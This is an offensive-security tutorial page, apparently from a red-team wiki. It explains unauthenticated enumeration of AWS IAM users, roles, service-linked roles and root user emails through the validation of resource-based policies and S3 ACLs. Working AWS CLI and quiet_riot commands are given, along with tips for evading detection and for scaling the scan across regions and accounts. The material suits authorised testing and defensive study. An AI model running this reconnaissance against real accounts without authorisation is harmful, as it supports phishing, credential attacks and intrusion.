# Unauthenticated Enumeration

## Theory

AWS IAM has a powerful but little-known security quirk that enables unauthenticated enumeration of IAM principals in any AWS account. This technique exploits how AWS validates principals specified in [resource-based policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_resource-based). When you attempt to add a principal to a resource-based policy such as an SNS topic policy, S3 bucket policy, or Lambda function policy, AWS validates whether that principal actually exists before accepting the policy change. The validation happens at the IAM service level, and AWS returns different error messages depending on whether the principal is valid or invalid.

This validation mechanism creates an information disclosure vulnerability:

* If the principal exists in the target account, AWS accepts the policy change and returns success.
* If the principal doesn't exist, AWS rejects the policy change with an error message indicating that the principal is invalid.

By systematically testing different potential principal names, an attacker can enumerate which IAM users, roles, and even root user email addresses exist in a target AWS account, all without ever authenticating to that target account.

The key insight is that **you need credentials to&#x20;*****your own*****&#x20;AWS account** to create the resources used for enumeration (like SNS topics or S3 buckets), but you **don't need any credentials or permissions in the&#x20;*****target*****&#x20;account**. You create a resource in your account, attempt to modify its resource-based policy to grant access to a principal in the target account, and observe whether AWS accepts or rejects the change.

The technique works for several types of principals including IAM users, IAM roles, and AWS account IDs. Additionally, there's a special case for enumerating root user email addresses using legacy [S3 ACLs](https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html) (Access Control Lists), which allow specifying email addresses that correspond to root users. Since root users have unrestricted administrator access to their AWS accounts, identifying valid root user emails is particularly valuable for social engineering or credential stuffing attacks.

#### Services Supporting Resource-Based Policies

Multiple AWS services support resource-based policies that can be leveraged for principal enumeration. Each service has slightly different characteristics in terms of API rate limits, error message verbosity, and performance. The most commonly used services for enumeration include [SNS topics](https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-language-api-permissions-reference.html), which provide fast validation with good API rate limits, [SQS queues](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-creating-custom-policies-access-policy-examples.html) which work similarly to SNS, [Lambda functions](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html) which allow testing principal validity through permission grants, [S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-policy-language-overview.html) which support both modern bucket policies and legacy ACLs for root user enumeration, [ECR repositories](https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html) (both public and private) which provide additional enumeration vectors, and [Secrets Manager secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_resource-based-policies.html) which can validate principals through resource policies.

Different services have different performance characteristics. SNS typically provides the fastest enumeration because it has relatively high API rate limits and returns clear error messages distinguishing between invalid principals and other types of errors. ECR repositories (especially ECR Public) can be distributed across multiple AWS regions, allowing parallel enumeration that significantly increases throughput. S3 ACLs are required for root user email validation but are inherently slower due to lower rate limits and the deprecated nature of ACLs.

The choice of service also affects stealth. Using less common services like ECR Private or Secrets Manager might generate fewer alerts in security monitoring tools that focus on SNS or S3 activity. Additionally, distributing enumeration across multiple services and regions helps avoid rate limiting and reduces the concentration of suspicious API calls that might trigger automated detection.

#### Service Role Enumeration for Footprinting

Beyond enumerating human users and custom IAM roles, resource-based policy validation can identify which AWS services are enabled in a target account through [service-linked roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/using-service-linked-roles.html). AWS automatically creates service-linked roles with predictable names when certain services are enabled. For example, when you enable [GuardDuty](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_organizations.html), AWS creates a role named `AWSServiceRoleForAmazonGuardDuty`. When you enable [AWS Security Hub](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-settingup.html), AWS creates `AWSServiceRoleForSecurityHub`.

By testing for the existence of these predictable service-linked role names, an attacker can footprint which security and operational services are enabled in the target account. This information is invaluable for planning attacks because it reveals the target's security posture. If GuardDuty is enabled, you know that certain malicious activities will trigger automatic alerts. If CloudTrail organization trails are configured, you know that logging is centralized. If AWS Config is running, you know that configuration changes are being tracked and potentially enforced.

Service enumeration is faster than user or role enumeration because the wordlist is much smaller—there are only a few hundred service-linked role names compared to millions of possible usernames. A complete service footprint can typically be obtained in under a minute. Additionally, service-linked roles persist even after a service is disabled in some cases, so their presence doesn't always guarantee active monitoring, but it indicates historical or current security investments.

Common service-linked roles that reveal security posture include `AWSServiceRoleForAmazonGuardDuty` indicating threat detection, `AWSServiceRoleForSecurityHub` suggesting compliance monitoring, `AWSServiceRoleForAccessAnalyzer` showing permission analysis capabilities, `AWSServiceRoleForAmazonMacie` indicating data classification, `AWSServiceRoleForCloudTrail` revealing audit logging, `AWSServiceRoleForConfig` showing configuration tracking, and `AWSServiceRoleForTrustedAdvisor` indicating best practice monitoring. Each discovered role informs your understanding of the defenses you'll face.

#### Root User Email Address Enumeration

The AWS root user is the most powerful identity in an AWS account, with unrestricted access to all resources and the ability to perform privileged operations that even administrator IAM users cannot execute. The root user is identified by the email address provided when the AWS account was created. Unlike IAM users and roles which can be enumerated through modern resource-based policies, root user email addresses can only be validated through the legacy [S3 ACL](https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html) mechanism.

S3 ACLs are an older access control mechanism that predates IAM policies. When creating or modifying S3 ACLs, you can specify grantees using canonical user IDs or email addresses. If you specify an email address, AWS checks whether that email corresponds to a root user account. If it does, the ACL modification succeeds. If it doesn't, you receive an error indicating the email is invalid. This validation behavior enables brute-forcing root user emails.

Root user email enumeration is significantly slower than IAM principal enumeration for several reasons. S3 ACL operations have lower rate limits than policy operations, ACLs have been deprecated in favor of bucket policies so AWS may intentionally throttle them, and you can only test one email at a time per S3 bucket. A typical enumeration rate is around 10-50 emails per second, compared to hundreds or thousands per second for SNS-based IAM principal enumeration.

However, the value of identifying a valid root user email is immense. Root users often have weaker security configurations than IAM users, many organizations don't enforce MFA on root users, use predictable passwords, or haven't logged in with the root user in years. If an attacker identifies a valid root user email, they can attempt password resets, phishing campaigns specifically targeting that email, credential stuffing with leaked password databases, or social engineering attacks to gain access. Since the root user has unlimited privileges, compromising it grants complete control over the AWS account.

Attackers typically generate root user email wordlists based on the target organization's domain, common naming patterns like <admin@domain.com> or <aws@domain.com> or <root@domain.com>, employee names discovered through OSINT, and email patterns observed in the organization's public-facing infrastructure. Tools like quiet\_riot can automatically generate millions of potential email addresses using common first/last name combinations and test them against target accounts.

## Practice

### Account ID Discovery

Before enumerating IAM principals, you first need to know the target AWS account ID. Account IDs are 12-digit numbers that uniquely identify every AWS account. Several unauthenticated techniques can reveal account IDs.

{% tabs %}
{% tab title="GetAccessKeyInfo" %}
If you've discovered an AWS access key through OSINT, code repositories, or other means, you can determine which account it belongs to without authenticating. The [`sts:GetAccessKeyInfo`](https://docs.aws.amazon.com/STS/latest/APIReference/API_GetAccessKeyInfo.html) API call accepts an access key ID and returns the associated account ID.

```bash
# Determine account ID from a leaked access key
aws sts get-access-key-info --access-key-id AKIAIOSFODNN7EXAMPLE
```

This API call is unique because it doesn't require any authentication credentials. You can call it anonymously.&#x20;

{% hint style="success" %}
It also leaves no CloudTrail log in the target account, making it completely undetectable from the target's perspective. The only requirement is that the access key ID must be valid (20 characters starting with AKIA for permanent keys or ASIA for temporary keys), though the key itself doesn't need to be active.
{% endhint %}
{% endtab %}

{% tab title="S3 Bucket Ownership" %}
Public S3 buckets can leak their owner's account ID through various mechanisms including bucket policies, error messages, and server access logs.

```bash
# Attempt to access a public S3 bucket's policy
aws s3api get-bucket-policy --bucket target-public-bucket

# The bucket policy may contain the account ID in resource ARNs
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::target-public-bucket/*\",\"Condition\":{\"StringEquals\":{\"s3:ResourceAccount\":\"123456789012\"}}}}]"
}
```

Additionally, some S3 error messages reveal account information, and bucket logging configurations might expose canonical user IDs that can be correlated to account IDs.
{% endtab %}

{% tab title="SNS Topic ARNs" %}
If you discover an SNS topic ARN through application source code, error messages, or configuration files, the account ID is embedded in the ARN format.

```bash
# SNS topic ARN format: arn:aws:sns:region:ACCOUNT-ID:topic-name
# Example: arn:aws:sns:us-east-1:123456789012:notifications

# Extract account ID from ARN
echo "arn:aws:sns:us-east-1:123456789012:notifications" | cut -d':' -f5
# Output: 123456789012
```

Similarly, ARNs for SQS queues, Lambda functions, and other resources exposed through application interfaces, APIs, or error messages reveal account IDs.
{% endtab %}

{% tab title="Quiet Riot" %}
[Quiet riot](https://github.com/righteousgambit/quiet-riot) includes an account ID enumeration mode that attempts to validate account IDs through resource-based policy validation.

```bash
# Run account ID enumeration
## The tool will attempt to validate account IDs
## This can take significant time for random guessing
## More effective when you have partial information (e.g., first few digits)
quiet_riot --scan 1
```

Account ID brute-forcing is generally impractical due to the 1 trillion possible combinations (000000000000 to 999999999999). However, if you have partial information such as the first 6 digits from an error message or log, you can brute-force the remaining digits in minutes.
{% endtab %}
{% endtabs %}

### Enumerating IAM Users

Once you have a target account ID, you can enumerate which IAM users exist in that account using resource-based policy validation.

{% tabs %}
{% tab title="Quiet Riot" %}
[Quiet riot](https://github.com/righteousgambit/quiet-riot) automates IAM user enumeration by creating resources in your AWS account and testing whether principals in the target account are valid.

```bash
# Ensure you have AWS credentials configured for YOUR account
aws configure

# Or/AND set environment variables
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_DEFAULT_REGION=us-east-1

# Run IAM user enumeration
quiet_riot --scan 5

# Select option 2 for IAM Users
# 1. IAM Roles
# 2. IAM Users
# Enter: 2

# Provide the target account ID
# Enter: 123456789012

# Provide a wordlist of potential usernames
# Enter: usernames.txt
```

Quiet riot will create SNS topics in your account and attempt to grant permissions to each username\@target-account combination. Valid users return success, invalid users return errors. The tool automatically handles rate limiting, multi-threading, and result collection.

To create an username wordlist, you can refers to [this page](https://red.infiltr8.io/redteam/credentials/passwd/generate-wordlists).
{% endtab %}

{% tab title="Manual SNS Method" %}
You can manually test for valid IAM users by creating an SNS topic in your account and attempting to grant permissions to principals in the target account.

```bash
# Create an SNS topic in YOUR account
aws sns create-topic --name enum-test

# Note the topic ARN
# Output: arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test

# Attempt to grant permission to a user in the target account
aws sns add-permission \
  --topic-arn arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test \
  --label test-permission \
  --aws-account-id TARGET_ACCOUNT \
  --action-name Subscribe \
  --principal "arn:aws:iam::TARGET_ACCOUNT:user/admin"

# If the user exists: Success (no error)
# If the user doesn't exist:
# An error occurred (InvalidParameter) when calling the AddPermission operation: Invalid parameter: Principal
```

After testing, remove the permission to prepare for the next test:

```bash
# Remove the permission
aws sns remove-permission \
  --topic-arn arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test \
  --label test-permission

# Test the next username
aws sns add-permission \
  --topic-arn arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test \
  --label test-permission \
  --aws-account-id TARGET_ACCOUNT \
  --action-name Subscribe \
  --principal "arn:aws:iam::TARGET_ACCOUNT:user/developer"
```

This manual process becomes tedious quickly, which is why automated tools like quiet\_riot are preferred.
{% endtab %}

{% tab title="Manual Lambda Method" %}
Lambda function resource policies provide an alternative validation mechanism with slightly different performance characteristics.

```bash
# Create a Lambda function in YOUR account first
# (You need a simple function.zip file)
echo 'def lambda_handler(event, context): return "OK"' > lambda_function.py
zip function.zip lambda_function.py

aws lambda create-function \
  --function-name enum-test \
  --runtime python3.9 \
  --role arn:aws:iam::YOUR_ACCOUNT:role/lambda-execution-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Test if a principal exists in the target account
aws lambda add-permission \
  --function-name enum-test \
  --statement-id test-permission \
  --action lambda:InvokeFunction \
  --principal "arn:aws:iam::TARGET_ACCOUNT:user/admin"

# Success = User exists
# Error = User doesn't exist

# Remove permission before next test
aws lambda remove-permission \
  --function-name enum-test \
  --statement-id test-permission
```

Lambda enumeration is generally slower than SNS but might avoid detection in environments that specifically monitor SNS activity.
{% endtab %}
{% endtabs %}

### Enumerating IAM Roles

IAM role enumeration follows the same resource-based policy validation technique as user enumeration but targets role ARNs instead of user ARNs.

{% tabs %}
{% tab title="Quiet Riot" %}
[Quiet riot](https://github.com/righteousgambit/quiet-riot)'s role enumeration mode tests for valid IAM roles in the target account.

```bash
# Run quiet_riot
quiet_riot --scan 5

# Select option 1 for IAM Roles
# Enter: 1

# Provide target account ID
# Enter: 123456789012

# Provide role wordlist
# Enter: roles.txt
```

**Common role name patterns:**

```
# Service roles
lambda-execution-role
ec2-instance-role
ecs-task-role
codebuild-role
codepipeline-role

# Organizational roles
AdminRole
DeveloperRole
ReadOnlyRole
SecurityAuditRole
PowerUserRole

# Cross-account roles
CrossAccountAdmin
OrganizationAccountAccessRole
TerraformRole

# Service-linked roles (predictable)
AWSServiceRoleForAmazonGuardDuty
AWSServiceRoleForSecurityHub
AWSServiceRoleForAccessAnalyzer
```

Role enumeration is often more valuable than user enumeration because roles are designed to be assumed, potentially providing attack paths through cross-account access or privilege escalation.
{% endtab %}

{% tab title="Manual SNS Method" %}
The manual role enumeration process is identical to user enumeration, just targeting role ARNs.

```bash
# Test for a role
aws sns add-permission \
  --topic-arn arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test \
  --label test-permission \
  --aws-account-id TARGET_ACCOUNT \
  --action-name Subscribe \
  --principal "arn:aws:iam::TARGET_ACCOUNT:role/AdminRole"

# Success = Role exists
# InvalidParameter error = Role doesn't exist
```

When enumerating roles, pay special attention to roles with cross-account trust policies, as these might be assumable from your account or other accounts you control.
{% endtab %}
{% endtabs %}

### Service Footprinting

Service-linked role enumeration reveals which AWS services are enabled in the target account, providing critical intelligence about the security posture.

{% tabs %}
{% tab title="Quiet Riot" %}
[Quiet riot](https://github.com/righteousgambit/quiet-riot) includes a dedicated service enumeration scan that tests for all known AWS service-linked roles.

```bash
# Run service footprinting
quiet_riot --scan 3

# Provide target account ID
# Enter: 123456789012

# Quiet riot tests ~200 service-linked role names
# Scan completes in under 1 minute typically

# Results show which services are enabled:
# [+] AWSServiceRoleForAmazonGuardDuty - GuardDuty enabled
# [+] AWSServiceRoleForSecurityHub - Security Hub enabled
# [+] AWSServiceRoleForAccessAnalyzer - Access Analyzer enabled
# [+] AWSServiceRoleForCloudTrail - CloudTrail enabled
```

**Security services to watch for:**

* **AWSServiceRoleForAmazonGuardDuty** - Threat detection service that monitors for malicious activity
* **AWSServiceRoleForSecurityHub** - Centralized security findings aggregation
* **AWSServiceRoleForAccessAnalyzer** - Analyzes resource policies for external access
* **AWSServiceRoleForAmazonMacie** - Data classification and protection
* **AWSServiceRoleForCloudTrail** - Audit logging of API calls
* **AWSServiceRoleForConfig** - Resource configuration tracking and compliance
* **AWSServiceRoleForTrustedAdvisor** - Best practice recommendations

If these security services are enabled, you know the target has invested in monitoring and detection capabilities. This should inform your attack methodology. for example, GuardDuty detects certain types of reconnaissance and credential usage patterns.
{% endtab %}

{% tab title="Manual Method" %}
You can manually test for specific service roles to footprint individual services.

```bash
# Test if GuardDuty is enabled
aws sns add-permission \
  --topic-arn arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test \
  --label test \
  --aws-account-id TARGET_ACCOUNT \
  --action-name Subscribe \
  --principal "arn:aws:iam::TARGET_ACCOUNT:role/aws-service-role/guardduty.amazonaws.com/AWSServiceRoleForAmazonGuardDuty"

# Success = GuardDuty is (or was) enabled
# Error = GuardDuty has never been enabled

# Test if Security Hub is enabled
aws sns add-permission \
  --topic-arn arn:aws:sns:us-east-1:YOUR_ACCOUNT:enum-test \
  --label test2 \
  --aws-account-id TARGET_ACCOUNT \
  --action-name Subscribe \
  --principal "arn:aws:iam::TARGET_ACCOUNT:role/aws-service-role/securityhub.amazonaws.com/AWSServiceRoleForSecurityHub"
```

Note that service-linked roles sometimes persist even after a service is disabled, so their existence indicates historical or current service usage but doesn't guarantee active monitoring.
{% endtab %}
{% endtabs %}

### Root User Email Enumeration

Enumerating root user email addresses uses S3 ACLs instead of modern resource-based policies, resulting in slower but potentially higher-value enumeration.

{% tabs %}
{% tab title="Quiet Riot " %}
[Quiet riot](https://github.com/righteousgambit/quiet-riot) supports root user email enumeration through its S3 ACL validation mode.

```bash
# Run root user enumeration
quiet_riot --scan 4

# Select email format or custom wordlist
# Options:
# a. first@domain
# b. firstlast@domain
# c. first.last@domain
# d. last@domain
# e. first_last@domain
# f. first_initial+last@domain
# g. custom username list
# h. input single email address

# For custom wordlist, select 'g'
# Enter: g

# Provide wordlist path
# Location to emails list file: emails.txt

# Provide domain
# Domain Name: targetcompany.com

# Quiet riot generates and tests emails
# This scan is much slower (tens of emails per second)
```

{% endtab %}

{% tab title="Manual S3 ACL Method" %}
You can manually test root user emails by creating an S3 bucket and attempting to grant ACL permissions using email addresses.

```bash
# Create an S3 bucket in YOUR account
aws s3api create-bucket --bucket your-enum-test-bucket-12345 --region us-east-1

# Test if an email corresponds to a root user
aws s3api put-bucket-acl \
  --bucket your-enum-test-bucket-12345 \
  --grant-read emailaddress=admin@targetcompany.com

# If the email is a valid root user: Success
# If not: UnresolvableGrantByEmailAddress error

# Remove the ACL grant before next test
aws s3api put-bucket-acl \
  --bucket your-enum-test-bucket-12345 \
  --acl private

# Test next email
aws s3api put-bucket-acl \
  --bucket your-enum-test-bucket-12345 \
  --grant-read emailaddress=aws@targetcompany.com
```

This manual process is very slow due to S3 ACL rate limits. Automated tools are strongly recommended for any significant enumeration effort.
{% endtab %}
{% endtabs %}

### Multi-Account and Multi-Region Enumeration

To maximize enumeration speed and avoid rate limiting, distribute your enumeration across multiple AWS accounts you control and multiple AWS regions.

```bash
# Strategy 1: Multi-region SNS enumeration
# Create SNS topics in multiple regions
for region in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
  aws sns create-topic --name enum-test --region $region
done

# Run separate enumeration threads for each region
# This distributes API calls across regional endpoints

# Strategy 2: Multi-account enumeration
# If you control multiple AWS accounts, run quiet_riot in each
# Account 1:
AWS_PROFILE=account1 quiet_riot --scan 5 --wordlist users-part1.txt

# Account 2:
AWS_PROFILE=account2 quiet_riot --scan 5 --wordlist users-part2.txt

# This multiplies your effective rate limit by the number of accounts
```

Quiet riot supports approximately 1,100 API calls per second from a single account using its multi-threaded, multi-service, multi-region architecture. By using 10 accounts, you could theoretically reach 11,000 enumerations per second, allowing you to test millions of potential principals in hours instead of days.

## Resources

{% embed url="<https://github.com/righteousgambit/quiet-riot>" %}
